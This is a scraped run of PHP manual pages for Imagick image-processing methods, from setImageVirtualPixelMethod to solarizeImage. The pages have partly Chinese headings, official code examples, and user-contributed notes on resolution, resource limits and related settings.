http://www.php.net/manual/en/imagick.constants.php

RESOLUTION constants

imagick::RESOLUTION_UNDEFINED (integer)
imagick::RESOLUTION_PIXELSPERINCH (integer)
imagick::RESOLUTION_PIXELSPERCENTIMETER (integer)
salomonsanz at gmail dot com 08-Dec-2008 12:56
$source = 'miphoto.jpg';
$imagick = new Imagick($source);
$imagick -> setImageUnits(2);
//0=undefined, 1=pixelsperInch, 2=PixelsPerCentimeter
$info = $imagick -> identifyImage();
print_r($info);
//ouput
/*
Array
(
[units] => PixelsPerCentimeter
)


Sets the image virtual pixel method

  • ? Imagick::setImageUnits
  • Imagick::setImageWhitePoint ?
  • PHP Manual
  • Imagick
  • Sets the image virtual pixel method

Imagick::setImageVirtualPixelMethod

(PECL imagick 2, PECL imagick 3)

Imagick::setImageVirtualPixelMethod — Sets the image virtual pixel method

说明

public Imagick::setImageVirtualPixelMethod(int $method): bool

Sets the image virtual pixel method.

参数

method

返回值

成功时返回 true。

User Contributed Notes

m dot junaidahmad at outlook dot com 28-Jul-2017 06:10
<?php

  $im = new \Imagick();

        /* read image (914x784)*/

     $im->readImage($_SERVER['DOCUMENT_ROOT']."/pathtoimage/".$inputfront);

        $im->setImageBackgroundColor(new \ImagickPixel('transparent'));  /* sets backgound to none (transparent) */

        $im->setImageVirtualPixelMethod(1); /* this is equal to -virtual-pixel background (in imagemagick) */

   /* Control points for the distortion */

        $controlPoints = array( 0,0,
            280,0,

            994,0,
            914,50,

            994,862,
            784,842,

            0,862,
            110,762);

        /* Perform the distortion */
        $im->distortImage(\Imagick::DISTORTION_PERSPECTIVE, $controlPoints, true);

        /* Ouput the image */
        $output_front_distort="Projects/".$userid."/".$projectid."/distorted_book.png";

       header("Content-Type: image/png");
        $im->writeImage($_SERVER['DOCUMENT_ROOT']."/designerr/public/".$output_front_distort);

?>


Sets the image chromaticity white point

  • ? Imagick::setImageVirtualPixelMethod
  • Imagick::setInterlaceScheme ?
  • PHP Manual
  • Imagick
  • Sets the image chromaticity white point

Imagick::setImageWhitePoint

(PECL imagick 2, PECL imagick 3)

Imagick::setImageWhitePoint — Sets the image chromaticity white point

说明

public Imagick::setImageWhitePoint(float $x, float $y): bool

Sets the image chromaticity white point.

参数

x

y

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image compression

  • ? Imagick::setImageWhitePoint
  • Imagick::setIteratorIndex ?
  • PHP Manual
  • Imagick
  • Sets the image compression

Imagick::setInterlaceScheme

(PECL imagick 2, PECL imagick 3)

Imagick::setInterlaceScheme — Sets the image compression

说明

public Imagick::setInterlaceScheme(int $interlace_scheme): bool

Sets the image compression.

参数

interlace_scheme

返回值

成功时返回 true。

User Contributed Notes

hayvanAdam 12-May-2008 03:24
save progressive jpeg

<?php

$image = new Imagick('image.jpg');
$image->thumbnailImage(500, 0);

$image->setInterlaceScheme(Imagick::INTERLACE_PLANE);

$image->writeImage('progressive.jpg');

?>


Set the iterator position

  • ? Imagick::setInterlaceScheme
  • Imagick::setLastIterator ?
  • PHP Manual
  • Imagick
  • Set the iterator position

Imagick::setIteratorIndex

(PECL imagick 2, PECL imagick 3)

Imagick::setIteratorIndex — Set the iterator position

说明

public Imagick::setIteratorIndex(int $index): bool

Set the iterator to the position in the image list specified with the index parameter. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

index

The position to set the iterator to

返回值

成功时返回 true。

示例

Example #1 Using Imagick::setIteratorIndex():

Create images, set and get the iterator index

<?php
$im = new Imagick();
$im->newImage(100, 100, new ImagickPixel("red"));
$im->newImage(100, 100, new ImagickPixel("green"));
$im->newImage(100, 100, new ImagickPixel("blue"));

$im->setIteratorIndex(1);
echo $im->getIteratorIndex();
?>

参见

  • Imagick::getIteratorIndex() - Gets the index of the current active image
  • Imagick::getImageIndex() - Gets the index of the current active image
  • Imagick::setImageIndex() - Set the iterator position

User Contributed Notes

wilcobeekhuizen at gmail dot com 14-Mar-2011 10:06
This function returns true on success but setting the iterator to an invalid index throws an exception instead of returning false:
Fatal error: Uncaught exception 'ImagickException' with message 'Unable to set iterator index'

This can happen when counting images inside a gif file, because the iterator count starts at zero and not one. If you count the number of images in a gif file be sure to use iterator 0 for the first image, like this:

<?php
$image = new Imagick('simple.gif');
$image->setIteratorIndex(0);
?>


Sets the Imagick iterator to the last image

  • ? Imagick::setIteratorIndex
  • Imagick::setOption ?
  • PHP Manual
  • Imagick
  • Sets the Imagick iterator to the last image

Imagick::setLastIterator

(PECL imagick 2 >= 2.0.1, PECL imagick 3)

Imagick::setLastIterator — Sets the Imagick iterator to the last image

说明

public Imagick::setLastIterator(): bool

Sets the Imagick iterator to the last image.

参数

此函数没有参数。

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Set an option

  • ? Imagick::setLastIterator
  • Imagick::setPage ?
  • PHP Manual
  • Imagick
  • Set an option

Imagick::setOption

(PECL imagick 2, PECL imagick 3)

Imagick::setOption — Set an option

说明

public Imagick::setOption(string $key, string $value): bool

Associates one or more options with the wand.

参数

key

value

返回值

成功时返回 true。

示例

Example #1 Attempt to reach '$extent' sizeImagick::setOption()

<?php
function renderJPG($extent) {
$imagePath = $this->control->getImagePath();
$imagick = new \Imagick(realpath($imagePath));
$imagick->setImageFormat('jpg');
$imagick->setOption('jpeg:extent', $extent);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

Example #2 Imagick::setOption()

<?php
function renderPNG($imagePath, $format) {

$imagick = new \Imagick(realpath($imagePath));
$imagick->setImageFormat('png');
$imagick->setOption('png:format', $format);
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

//Save as 64bit PNG.
renderPNG($imagePath, 'png64');

?>

Example #3 Imagick::setOption()

<?php
function renderCustomBitDepthPNG() {
$imagePath = $this->control->getImagePath();
$imagick = new \Imagick(realpath($imagePath));
$imagick->setImageFormat('png');

$imagick->setOption('png:bit-depth', '16');
$imagick->setOption('png:color-type', 6);
header("Content-Type: image/png");
$crash = true;
if ($crash) {
echo $imagick->getImageBlob();
}
else {
$tempFilename = tempnam('./', 'imagick');
$imagick->writeimage(realpath($tempFilename));
echo file_get_contents($tempFilename);
}
}

?>

User Contributed Notes

SkepticaLee 29-Mar-2020 07:17
Actually setImageArtifact () can be used if setOption () fails, e.g.

$im->setImageartifact ("distort:viewport", "960x540+0-151");

Or maybe setOption () is deprecated.
kicha at kreker dot org 24-Sep-2015 02:48
List of options (with key => value) on official imagemagick site:
http://www.imagemagick.org/script/command-line-options.php#define
alexandre at gaigalas dot net 11-Jul-2011 02:43
If you want to extract a preview from a PDF file using the CropBox instead of the whole document, setOption() is the right method:

<?php
$handler = new Imagick();
$handler->setOption('pdf:use-cropbox', 'true');
$handler->readImage($imageFileName);
$handler->thumbnailImage(200, 200, true);
$handler->setImageFormat('jpeg');
$handler->writeImage($destThumbFileName);
?>

It is the equivalent to the -define pdf:use-cropbox=true for the convert command line tool. pdf:use-trimbox is also available.

Note that on my environment the setOption only worked when i called it before the readImage method, which means that you can't pass the filename to the Imagick constructor directly.


Sets the page geometry of the Imagick object

  • ? Imagick::setOption
  • Imagick::setPointSize ?
  • PHP Manual
  • Imagick
  • Sets the page geometry of the Imagick object

Imagick::setPage

(PECL imagick 2, PECL imagick 3)

Imagick::setPage — Sets the page geometry of the Imagick object

说明

public Imagick::setPage(
int $width,
int $height,
int $x,
int $y
): bool

Sets the page geometry of the Imagick object.

参数

width

height

x

y

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Sets point size

  • ? Imagick::setPage
  • Imagick::setProgressMonitor ?
  • PHP Manual
  • Imagick
  • Sets point size

Imagick::setPointSize

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::setPointSize — Sets point size

说明

public Imagick::setPointSize(float $point_size): bool

Sets object's point size property. This method can be used for example to set font size for caption: pseudo-format. 此方法在Imagick基于ImageMagick 6.3.7以上版本编译时可用。

参数

point_size

Point size

返回值

成功时返回 true。

示例

Example #1 A Imagick::setPointSize() example

Example of using Imagick::setPointSize

<?php
/* Create new imagick object */
$im = new Imagick();

/* Set the font for the object */
$im->setFont("example.ttf");

/* Set the point size */
$im->setPointSize(12);

/* Create new caption */
$im->newPseudoImage(100, 100, "caption:Hello");

/* Do something with the image */
?>

参见

  • Imagick::getPointSize() - Gets point size

User Contributed Notes

There are no user contributed notes for this page.


Set a callback to be called during processing

  • ? Imagick::setPointSize
  • Imagick::setRegistry ?
  • PHP Manual
  • Imagick
  • Set a callback to be called during processing

Imagick::setProgressMonitor

(PECL imagick 3 >= 3.3.0)

Imagick::setProgressMonitor — Set a callback to be called during processing

说明

public Imagick::setProgressMonitor(callable $callback): bool

Set a callback that will be called during the processing of the Imagick image.

参数

callback

The progress function to call. It should return true if image processing should continue, or false if it should be cancelled. The offset parameter indicates the progress and the span parameter indicates the total amount of work needed to be done.

callback ( mixed $offset , mixed $span ): bool
Caution

The values passed to the callback function are not consistent. In particular the span parameter can increase during image processing. Because of this calculating the percentage complete of an image operation is not trivial.

返回值

成功时返回 true。

示例

Example #1 Imagick::setProgressMonitor()

<?php
$abortReason = null;

try {
$imagick = new \Imagick(realpath($this->control->getImagePath()));
$startTime = time();

$callback = function ($offset, $span) use ($startTime, &$abortReason) {
if (((100 * $offset) / $span) > 20) {
$abortReason = "Processing reached 20%";
return false;
}

$nowTime = time();

if ($nowTime - $startTime > 5) {
$abortReason = "Image processing took more than 5 seconds";
return false;
}
if (($offset % 5) == 0) {
echo "Progress: $offset / $span <br/>";
}
return true;
};

$imagick->setProgressMonitor($callback);

$imagick->waveImage(2, 15);

echo "Data len is: ".strlen($imagick->getImageBlob());
}
catch(\ImagickException $e) {
if ($abortReason != null) {
echo "Image processing was aborted: ".$abortReason."<br/>";
}
else {
echo "ImagickException caught: ".$e->getMessage()." Exception type is ".get_class($e);
}
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the ImageMagick registry entry named key to value

  • ? Imagick::setProgressMonitor
  • Imagick::setResolution ?
  • PHP Manual
  • Imagick
  • Sets the ImageMagick registry entry named key to value

Imagick::setRegistry

(PECL imagick 3 >= 3.3.0)

Imagick::setRegistry — Sets the ImageMagick registry entry named key to value

说明

public static Imagick::setRegistry(string $key, string $value): bool

Sets the ImageMagick registry entry named key to value. This is most useful for setting "temporary-path" which controls where ImageMagick creates temporary images e.g. while processing PDFs.

参数

key

value

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image resolution

  • ? Imagick::setRegistry
  • Imagick::setResourceLimit ?
  • PHP Manual
  • Imagick
  • Sets the image resolution

Imagick::setResolution

(PECL imagick 2, PECL imagick 3)

Imagick::setResolution — Sets the image resolution

说明

public Imagick::setResolution(float $x_resolution, float $y_resolution): bool

Sets the image resolution.

参数

x_resolution

The horizontal resolution.

y_resolution

The vertical resolution.

返回值

成功时返回 true。

注释

Imagick::setResolution() must be called before loading or creating an image.

参见

  • Imagick::setImageResolution() - Sets the image resolution
  • Imagick::getImageResolution() - 获取图像的x,y轴分辨率

User Contributed Notes

carter dot sharon at gmail dot com 11-Oct-2010 11:07
If you are reading or creating a new image and want to set the resolution you need to set the Image Units. Undefined image units will cause imagick to use the default resolution (72x72).

<?php
$img = new Imagick();

$img->setResolution(300,300);
$img->newimage(100,100,'none');
$img->setImageFormat('png');
// imagick::RESOLUTION_UNDEFINED  imagick::RESOLUTION_PIXELSPERINCH  imagick::RESOLUTION_PIXELSPERCENTIMETER

$img->setImageUnits(imagick::RESOLUTION_PIXELSPERINCH);

print_r($img->identifyImage());

?>

Output
Array (
[resolution] => Array ( [x] => 300 [y] => 300 )
[units] => PixelsPerInch
)
sualk at lednew dot de 07-Jan-2010 06:50
This method uses the "convert -density {$x_resolution}x{$y_resolution}" parameter. However be aware, that Imagick::setResolution() is much more alike the "convert -density" option than Imagick::setImageResolution()

It's very irritating that both Imagick::setResolution() and Imagick::setImageResolution() are introduced with "Sets the image resolution."

Use Imagick::setResolution() prior to reading a raster image. This method does not affect an image. However this method tells the image to which size it has to be sized in relation to images inherent resolution! With this method you are able to affect the real pixel-size of an image after reading. E.g. your image has a size of 100x100 pixels and an inherent resolution of 72. Setting the Resolution to 144 and reading this image results in a new image size of 200x200 pixels.

<?php
$im = new Imagick();
$im->setResolution(144,144);
$im->readImage("test.eps");
$im->setImageFormat("png");
header("Content-Type: image/png");
echo $im;
?>

Use Imagick::setImageResolution() to alter the resolution of an already read image. This method does not actually change the size of an image, but has influence to methods, which depends on a given image resolution like Imagick::resampleImage(). E.g. your image has a size of 100x100 pixels and a resolution of 72. Setting ImageResolution to 144 does nothing, unless you are resampling image afterwards in relation to the ImageResolution you set!

<?php
$im = new Imagick();
$im->readImage("test.eps");
$im->setImageResolution(144,144);
$im->resampleImage  (288,288,imagick::FILTER_UNDEFINED,1);
$im->setImageFormat("png");
header("Content-Type: image/png");
echo $im;
?>

which actually does the same like

<?php
$im = new Imagick();
$im->readImage("test.eps");
$im->setImageResolution(72,72);
$im->resampleImage  (144,144,imagick::FILTER_UNDEFINED,1);
$im->setImageFormat("png");
header("Content-Type: image/png");
echo $im;
?>


Sets the limit for a particular resource

  • ? Imagick::setResolution
  • Imagick::setSamplingFactors ?
  • PHP Manual
  • Imagick
  • Sets the limit for a particular resource

Imagick::setResourceLimit

(PECL imagick 2, PECL imagick 3)

Imagick::setResourceLimit — Sets the limit for a particular resource

说明

public static Imagick::setResourceLimit(int $type, int $limit): bool

This method is used to modify the resource limits of the underlying ImageMagick library.

参数

type

Refer to the list of resourcetype constants.

limit

One of the resourcetype constants. The unit depends on the type of the resource being limited.

返回值

成功时返回 true。

参见

  • Imagick::getResourceLimit() - Returns the specified resource limit

User Contributed Notes

anonymous 16-Nov-2023 12:18
Note that Imagick::setResourceLimit may return success without actually changing the limits (verify with Imagick::getResourceLimit). This is at least true for Imagick::RESOURCETYPE_WIDTH and Imagick::RESOURCETYPE_HEIGHT, where values exceeding the limits defined in policy.xml are silently ignored.
raphael dot droz at gmail dot com 18-Feb-2021 04:01
Here are the RESOURCETYPE actually supported by today:
https://github.com/Imagick/imagick/blob/master/imagick_helpers.c
https://github.com/Imagick/imagick/blob/master/ChangeLog

Added in 3.3:
* Imagick::RESOURCETYPE_TIME
* Imagick::RESOURCETYPE_THROTTLE

Added in 3.2:
* Imagick::RESOURCETYPE_THREAD
Anonymous user 12-May-2014 08:30
Note that the limits are given in bytes instead of megabytes. You can verify with:

<?php echo Imagick::getResourceLimit(Imagick::RESOURCETYPE_MEMORY); ?>
Arkadiy Kulev 13-Feb-2012 11:54
This list should help setting the limits:

imagick::RESOURCETYPE_AREA (integer)   //equivalent of MAGICK_AREA_LIMIT
imagick::RESOURCETYPE_DISK (integer)   //equivalent of MAGICK_DISK_LIMIT
imagick::RESOURCETYPE_FILE (integer)   //equivalent of MAGICK_FILE_LIMIT
imagick::RESOURCETYPE_MAP (integer)    //equivalent of MAGICK_MAP_LIMIT
imagick::RESOURCETYPE_MEMORY (integer) //equivalent of MAGICK_MEMORY_LIMIT
rodneyrehm 08-Nov-2011 12:00
IMagick::RESOURCETYPE_THREADS is missing, yet you're still able to limit the number of thready ImageMagick should use:

<?php
// IMagick::setResourceLimit(IMagick::RESOURCETYPE_THREADS, 2);
IMagick::setResourceLimit(6, 2);


Sets the image sampling factors

  • ? Imagick::setResourceLimit
  • Imagick::setSize ?
  • PHP Manual
  • Imagick
  • Sets the image sampling factors

Imagick::setSamplingFactors

(PECL imagick 2, PECL imagick 3)

Imagick::setSamplingFactors — Sets the image sampling factors

说明

public Imagick::setSamplingFactors(array $factors): bool

Sets the image sampling factors.

参数

factors

返回值

成功时返回 true。

示例

Example #1 Imagick::setSamplingFactors()

<?php
function setSamplingFactors($imagePath) {

$imagePath = "../imagick/images/FineDetail.png";
$imagick = new \Imagick(realpath($imagePath));
$imagick->setImageFormat('jpg');
$imagick->setSamplingFactors(array('2x2', '1x1', '1x1'));

$compressed = $imagick->getImageBlob();

$reopen = new \Imagick();
$reopen->readImageBlob($compressed);

$reopen->resizeImage(
$reopen->getImageWidth() * 4,
$reopen->getImageHeight() * 4,
\Imagick::FILTER_POINT,
1
);

header("Content-Type: image/jpg");
echo $reopen->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the size of the Imagick object

  • ? Imagick::setSamplingFactors
  • Imagick::setSizeOffset ?
  • PHP Manual
  • Imagick
  • Sets the size of the Imagick object

Imagick::setSize

(PECL imagick 2, PECL imagick 3)

Imagick::setSize — Sets the size of the Imagick object

说明

public Imagick::setSize(int $columns, int $rows): bool

Sets the size of the Imagick object. Set it before you read a raw image format such as RGB, GRAY, or CMYK.

参数

columns

rows

返回值

成功时返回 true。

User Contributed Notes

Ade 31-Mar-2017 09:40
This function is not working for me at all.
I am trying to generate Images from a PDF and this function does literally NOTHING, even it returns 'true'.....
Mike Pratt 25-Sep-2012 05:48
Using setSize before reading an image file tells ImageMagick to resize the image immediately on load - this can give a substantial increase in performance time and save memory and disk resources for large images:

<?php

$image = new Imagick();
$image->setSize(800,600);
$image->readImage($file);

?>

This might also save you having to call thumbnailImage to resize the image.

On my server, this only made a difference with jpgs - pngs and gifs were loaded at full size which took much longer (30s or more compared to 6s for a similar sized jpg).


Sets the size and offset of the Imagick object

  • ? Imagick::setSize
  • Imagick::setType ?
  • PHP Manual
  • Imagick
  • Sets the size and offset of the Imagick object

Imagick::setSizeOffset

(PECL imagick 2, PECL imagick 3)

Imagick::setSizeOffset — Sets the size and offset of the Imagick object

说明

public Imagick::setSizeOffset(int $columns, int $rows, int $offset): bool

Sets the size and offset of the Imagick object. Set it before you read a raw image format such as RGB, GRAY, or CMYK. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

columns

The width in pixels.

rows

The height in pixels.

offset

The image offset.

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Sets the image type attribute

  • ? Imagick::setSizeOffset
  • Imagick::shadeImage ?
  • PHP Manual
  • Imagick
  • Sets the image type attribute

Imagick::setType

(PECL imagick 2, PECL imagick 3)

Imagick::setType — Sets the image type attribute

说明

public Imagick::setType(int $image_type): bool

Sets the image type attribute.

参数

image_type

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Creates a 3D effect

  • ? Imagick::setType
  • Imagick::shadowImage ?
  • PHP Manual
  • Imagick
  • Creates a 3D effect

Imagick::shadeImage

(PECL imagick 2, PECL imagick 3)

Imagick::shadeImage — Creates a 3D effect

说明

public Imagick::shadeImage(bool $gray, float $azimuth, float $elevation): bool

Shines a distant light on an image to create a three-dimensional effect. You control the positioning of the light with azimuth and elevation; azimuth is measured in degrees off the x axis and elevation is measured in pixels above the Z axis. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

gray

A value other than zero shades the intensity of each pixel.

azimuth

Defines the light source direction.

elevation

Defines the light source direction.

返回值

成功时返回 true。

错误／异常

Throws ImagickException on failure.

示例

Example #1 Imagick::shadeImage()

<?php
function shadeImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->shadeImage(true, 45, 20);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Simulates an image shadow

  • ? Imagick::shadeImage
  • Imagick::sharpenImage ?
  • PHP Manual
  • Imagick
  • Simulates an image shadow

Imagick::shadowImage

(PECL imagick 2, PECL imagick 3)

Imagick::shadowImage — Simulates an image shadow

说明

public Imagick::shadowImage(
float $opacity,
float $sigma,
int $x,
int $y
): bool

Simulates an image shadow.

参数

opacity

sigma

x

y

返回值

成功时返回 true。

示例

Example #1 Imagick::shadowImage()

<?php
function shadowImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->shadowImage(0.4, 10, 50, 5);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

nilayanand at gmail dot com 27-Jul-2009 10:43
<?php
/* Read the image into the object */
$im = new Imagick( 'a.jpg' );
$im->setImageFormat("png");

/* Make the image a little smaller, maintain aspect ratio */
$im->thumbnailImage( 200, null );

/* Clone the current object */
$shadow = $im->clone();

/* Set image background color to black
        (this is the color of the shadow) */
$shadow->setImageBackgroundColor( new ImagickPixel( 'black' ) );

/* Create the shadow */
$shadow->shadowImage( 80, 3, 5, 5 );

/* Imagick::shadowImage only creates the shadow.
        That is why the original image is composited over it */
$shadow->compositeImage( $im, Imagick::COMPOSITE_OVER, 0, 0 );

/* Display the image */
header( "Content-Type: image/jpeg" );
echo $shadow;
?>


Sharpens an image

  • ? Imagick::shadowImage
  • Imagick::shaveImage ?
  • PHP Manual
  • Imagick
  • Sharpens an image

Imagick::sharpenImage

(PECL imagick 2, PECL imagick 3)

Imagick::sharpenImage — Sharpens an image

说明

public Imagick::sharpenImage(float $radius, float $sigma, int $channel = Imagick::CHANNEL_DEFAULT): bool

Sharpens an image. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, the radius should be larger than sigma. Use a radius of 0 and Imagick::sharpenImage() selects a suitable radius for you.

参数

radius

sigma

channel

返回值

成功时返回 true。

示例

Example #1 Imagick::sharpenImage()

<?php
function sharpenImage($imagePath, $radius, $sigma, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->sharpenimage($radius, $sigma, $channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Shaves pixels from the image edges

  • ? Imagick::sharpenImage
  • Imagick::shearImage ?
  • PHP Manual
  • Imagick
  • Shaves pixels from the image edges

Imagick::shaveImage

(PECL imagick 2, PECL imagick 3)

Imagick::shaveImage — Shaves pixels from the image edges

说明

public Imagick::shaveImage(int $columns, int $rows): bool

Shaves pixels from the image edges. It allocates the memory necessary for the new Image structure and returns a pointer to the new image.

参数

columns

rows

返回值

成功时返回 true。

示例

Example #1 Imagick::shaveImage()

<?php
function shaveImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->shaveImage(100, 50);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Creating a parallelogram

  • ? Imagick::shaveImage
  • Imagick::sigmoidalContrastImage ?
  • PHP Manual
  • Imagick
  • Creating a parallelogram

Imagick::shearImage

(PECL imagick 2, PECL imagick 3)

Imagick::shearImage — Creating a parallelogram

说明

public Imagick::shearImage(mixed $background, float $x_shear, float $y_shear): bool

Slides one edge of an image along the X or Y axis, creating a parallelogram. An X direction shear slides an edge along the X axis, while a Y direction shear slides an edge along the Y axis. The amount of the shear is controlled by a shear angle. For X direction shears, x_shear is measured relative to the Y axis, and similarly, for Y direction shears y_shear is measured relative to the X axis. Empty triangles left over from shearing the image are filled with the background color.

参数

background

The background color

x_shear

The number of degrees to shear on the x axis

y_shear

The number of degrees to shear on the y axis

返回值

成功时返回 true。

更新日志

版本 | 说明
PECL imagick 2.1.0 | Now allows a string representing the color as the first parameter. Previous versions allow only an ImagickPixel object.

示例

Example #1 Imagick::shearImage()

<?php
function shearImage($imagePath, $color, $shearX, $shearY) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->shearimage($color, $shearX, $shearY);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

raja at tweetchennai dot com 13-Aug-2009 05:42
Eg:

<?php
$image = new Imagick('pic.png');
$image ->shearImage('grey', 10 , 5);
$image ->writeImage('final.png');
?>


Adjusts the contrast of an image

  • ? Imagick::shearImage
  • Imagick::sketchImage ?
  • PHP Manual
  • Imagick
  • Adjusts the contrast of an image

Imagick::sigmoidalContrastImage

(PECL imagick 2, PECL imagick 3)

Imagick::sigmoidalContrastImage — Adjusts the contrast of an image

说明

public Imagick::sigmoidalContrastImage(
bool $sharpen,
float $alpha,
float $beta,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Adjusts the contrast of an image with a non-linear sigmoidal contrast algorithm. Increase the contrast of the image using a sigmoidal transfer function without saturating highlights or shadows. Contrast indicates how much to increase the contrast (0 is none; 3 is typical; 20 is pushing it); mid-point indicates where midtones fall in the resultant image (0 is white; 50 is middle-gray; 100 is black). Set sharpen to true to increase the image contrast otherwise the contrast is reduced.

See also » ImageMagick v6 Examples - Image Transformations — Sigmoidal Non-linearity Contrast

参数

sharpen

If true increase the contrast, if false decrease the contrast.

alpha

The amount of contrast to apply. 1 is very little, 5 is a significant amount, 20 is extreme.

beta

Where the midpoint of the gradient will be. This value should be in the range 0 to 1 - mutliplied by the quantum value for ImageMagick.

channel

Which color channels the contrast will be applied to.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Create a gradient image using Imagick::sigmoidalContrastImage() suitable for blending two images together smoothly, with the blending defined by $contrast and $the midpoint

<?php

function generateBlendImage($width, $height, $contrast = 10, $midpoint = 0.5) {
$imagick = new Imagick();
$imagick->newPseudoImage($width, $height, 'gradient:black-white');
$quanta = $imagick->getQuantumRange();
$imagick->sigmoidalContrastImage(true, $contrast, $midpoint * $quanta["quantumRangeLong"]);

return $imagick;
}

?>

User Contributed Notes

SkepticaLee 28-Nov-2015 11:05
The formula for sigmoidal contrast given by Thyssen is missing a term. It should be:

( 1/(1+exp(β*(α-u))) - 1/(1+exp(β*α)) ) / ( 1/(1+exp(β*(α-1))) - 1/(1+exp(β*α)) )

where there was an α missing from the second term.

Note that a sigmoidal contrast with α = 6 and β = 0.46 is approximately equivalent to combining a "screen" overlay of the image on itself, followed by a "multiply" overlay.
acameron at theatomgroup dot com 17-Dec-2013 07:48
The documentation for this function really isn't useful or helpful at all. "Sharpen", "Contrast" and "Midpoint" aren't the names of the params, which are referred to as "alpha" and "beta".

The Imagemagick manual entry:

For those interested, the corrected formula for the 'sigmoidal non-linearity contrast control' is...
( 1/(1+exp(β*(α-u))) - 1/(1+exp(β)) ) / ( 1/(1+exp(β*(α-1))) - 1/(1+exp(β*α)) )
Where α is the threshold level, and β the contrast factor to be applied.
The formula is actually very simple exponential curve, with the bulk of the above formula is designed to ensure that 0 remains zero and 1 remains one. That is, the graph always goes though the points 0,0 and 1,1. And the highest gradient of change is at the given threshold.

Src: http://www.imagemagick.org/Usage/color_mods/#sigmoidal

In the Imagick extension source, the function call is:

 status = MagickSigmoidalContrastImageChannel(intern->magick_wand, channel, sharpen, alpha, beta);

Src: https://github.com/mkoppanen/imagick/

Referring back to the binary API call gives:

foreign import ccall "MagickSigmoidalContrastImageChannel" magickSigmoidalContrastImageChannel
  :: Ptr MagickWand
  -> ChannelType       -- ^ identify which channel to level: `redChannel`, `greenChannel`
  -> MagickBooleanType -- ^ increase or decrease image contrast
  -> CDouble           -- ^ strength of the contrast, the larger the number the more 'threshold-like' it becomes
  -> CDouble           -- ^ midpoint of the function as a color value 0 to `quantumRange`
  -> IO MagickBooleanType

Src: http://hackage.haskell.org/package/imagemagick-0.0.2/docs/src/Graphics-ImageMagick-MagickWand-FFI-WandImage.html

So the parameters should apparently be interpreted:

Sharpen:     0/1 (increase/decrease contrast)
Alpha:       Strength of the contrast (typically 3-20)
Beta:        Midpoint of the contrast (typically 50)


Simulates a pencil sketch

  • ? Imagick::sigmoidalContrastImage
  • Imagick::smushImages ?
  • PHP Manual
  • Imagick
  • Simulates a pencil sketch

Imagick::sketchImage

(PECL imagick 2, PECL imagick 3)

Imagick::sketchImage — Simulates a pencil sketch

说明

public Imagick::sketchImage(float $radius, float $sigma, float $angle): bool

Simulates a pencil sketch. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, radius should be larger than sigma. Use a radius of 0 and Imagick::sketchImage() selects a suitable radius for you. Angle gives the angle of the blurring motion. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

radius

The radius of the Gaussian, in pixels, not counting the center pixel

sigma

The standard deviation of the Gaussian, in pixels.

angle

Apply the effect along this angle.

返回值

成功时返回 true。

示例

Example #1 Imagick::sketchImage()

<?php
function sketchImage($imagePath, $radius, $sigma, $angle) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->sketchimage($radius, $sigma, $angle);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Takes all images from the current image pointer to the end of the image list and smushs them

  • ? Imagick::sketchImage
  • Imagick::solarizeImage ?
  • PHP Manual
  • Imagick
  • Takes all images from the current image pointer to the end of the image list and smushs them

Imagick::smushImages

(PECL imagick 3 >= 3.3.0)

Imagick::smushImages — Takes all images from the current image pointer to the end of the image list and smushs them

说明

public Imagick::smushImages(bool $stack, int $offset): Imagick

Takes all images from the current image pointer to the end of the image list and smushs them to each other top-to-bottom if the stack parameter is true, otherwise left-to-right.

参数

stack

offset

返回值

The new smushed image.

示例

Example #1 Imagick::smushImages()

<?php
function smushImages($imagePath, $imagePath2) {

$imagick = new \Imagick(realpath($imagePath));
$imagick2 = new \Imagick(realpath($imagePath2));

$imagick->addimage($imagick2);
$smushed = $imagick->smushImages(false, 50);
$smushed->setImageFormat('jpg');
header("Content-Type: image/jpg");
echo $smushed->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Applies a solarizing effect to the image

  • ? Imagick::smushImages
  • Imagick::sparseColorImage ?
  • PHP Manual
  • Imagick
  • Applies a solarizing effect to the image

Imagick::solarizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::solarizeImage — Applies a solarizing effect to the image

说明

public Imagick::solarizeImage(int $threshold): bool

Applies a special effect to the image, similar to the effect achieved in a photo darkroom by selectively exposing areas of photo sensitive paper to light. Threshold ranges from 0 to QuantumRange and is a measure of the extent of the solarization.

参数

threshold

返回值

成功时返回 true。

示例

